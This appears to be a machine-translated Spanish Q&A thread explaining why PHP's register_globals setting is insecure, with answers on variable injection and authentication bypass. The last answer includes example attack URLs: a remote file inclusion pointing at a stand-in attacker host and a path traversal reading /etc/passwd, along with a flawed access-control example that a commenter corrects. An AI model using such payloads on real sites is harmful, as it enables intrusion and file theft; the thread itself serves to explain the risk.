2009-09-13 16 views

Respuesta

12

REGISTER_GLOBALS significa que todas las variables pasadas a través de GET o POST están disponibles como variables globales en su secuencia de comandos. Dado que acceder a variables no declaradas no es un error en PHP (es una advertencia), puede llevar a situaciones muy desagradables. Considere esto, por ejemplo:

<?php 
// $debug = true; 
if ($debug) { 
    echo "query: $query\n"; 
} 

No es algo malo per se (código bien diseñado no debe generar advertencias, por lo tanto, no debe tener acceso a las variables que podrían ser declarados (y no debe necesidadREGISTER_GLOBALS para el mismo motivo)), pero el código PHP suele ser de muy baja calidad, lo que lleva a este tipo de agujeros de seguridad.

+21

"código PHP es por lo general [muy] baja calidad" - habla por sí mismo – OIS

+5

Por lo general = siempre!. Pero le recomendaría que explore la fuente de algunos CMS de código abierto. Encontrará más 'eval()', 'erege_replace()' y 'REGISTER_GLOBALS' de lo que cabría esperar.Nota: soy un desarrollador de PHP yo mismo. – soulmerge

+0

Intentar leer variables indefinidas es desagradable. No tendrías ese problema con '$ debug = false;'. – Gumbo

2

Porque le permite al usuario inyectar cualquier variable global en su código sin ningún control.

Según la calidad del código, puede presentar errores de seguridad importantes.

9

Habilitando REGISTER_GLOBALS expone las páginas web servidas por PHP a las vulnerabilidades que algunos tipos malos estarán dispuestos a explotar.

Con ella está activado, cualquier cadena de consulta al final de la URL:

http://yourdomain/something.php?valid=true 

afectará el valor de una variable $ válida (por ejemplo) en something.php, si es que existe .

Si está utilizando un código PHP disponible públicamente (una biblioteca, por ejemplo), los nombres de las variables son bien conocidos, y los hackers podrían controlar sus valores asignando valores en la cadena de consulta. Es posible que puedan eludir la autenticación.

Incluso si no usa código público, es posible adivinar los nombres de las variables importantes y controlar sus valores.

lo que solía ser el valor por defecto de tener register_globals habilitado en php.ini

la práctica reciente ha sido la de desactivarlo por defecto. Habilítalo bajo tu propio riesgo!

3

Sólo para añadir, aquí hay algunas situaciones en las que tener REGISTER_GLOBALS habilitados podría arruinar su día:

El uso de la cadena de consulta para eludir el control de acceso (truco que utilizan http://example.com/?logged=1):

<?php 
$logged = User::getLogged(); 
if ($logged) 
{ 
    include '/important/secret.php'; 
} 
?> 

remoto Inclusión de archivos (RFI):

<?php 
    //http://example.com/?path=http://evilbadthings.example.com/ 
    include "$path"; 
?> 

Inclusión de archivos locales (LFI):

<?php 
    //http://example.com/?path=../../../../etc/passwd 
    include "$path"; 
?> 
+10

Su primer ejemplo no se ve comprometido ya que el valor de '$ logged' está definido por el valor de retorno de' User :: getLogged'. – Gumbo